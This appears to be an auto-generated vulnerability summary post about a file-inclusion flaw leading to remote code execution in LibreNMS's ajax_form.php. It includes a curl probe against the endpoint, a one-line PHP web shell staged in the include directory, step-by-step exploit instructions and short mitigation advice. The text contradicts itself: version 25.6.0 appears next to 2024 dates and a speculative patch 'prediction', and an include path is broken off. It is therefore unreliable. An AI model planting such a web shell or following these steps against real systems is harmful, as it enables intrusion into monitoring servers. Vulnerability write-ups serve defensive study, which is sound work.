Listen to this Post
How the CVE Works
LibreNMS 25.6.0’s `ajax_form.php` endpoint dynamically includes `.inc.php` files based on unfiltered user-supplied POST input (type parameter). The code checks if `includes/html/forms/
.inc.php` exists and includes it without validation. An attacker with write access to the include directory (or symlink capability) can stage a malicious PHP file, leading to Remote Code Execution (RCE). The vulnerability requires authentication but can be exploited if an attacker controls a file in the trusted path. <h2 style="color: blue;">DailyCVE Form</h2> Platform: LibreNMS Version: 25.6.0 Vulnerability: LFI → RCE Severity: Critical Date: 2024-07-22 <h2 style="color: blue;">Prediction: Patch by 2024-08-15</h2> <h2 style="color: blue;">What Undercode Say</h2> [bash] Check for vulnerable endpoint curl -X POST -d "type=malicious" http://target/librenms/ajax_form.php Exploit via staged file echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/librenms/includes/html/forms/malicious.inc.php
How Exploit
1. Authenticate to LibreNMS.
2. Upload/symlink malicious PHP in `includes/html/forms/`.
3. Trigger LFI via `ajax_form.php?type=malicious`.
4. Execute arbitrary commands.
Protection from this CVE
- Restrict write access to
includes/html/forms/. - Implement strict allowlisting for included files.
- Disable dynamic file inclusion.
Impact
- Full RCE as `librenms` user.
- Compromise of monitoring data.
- Lateral movement risk.
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
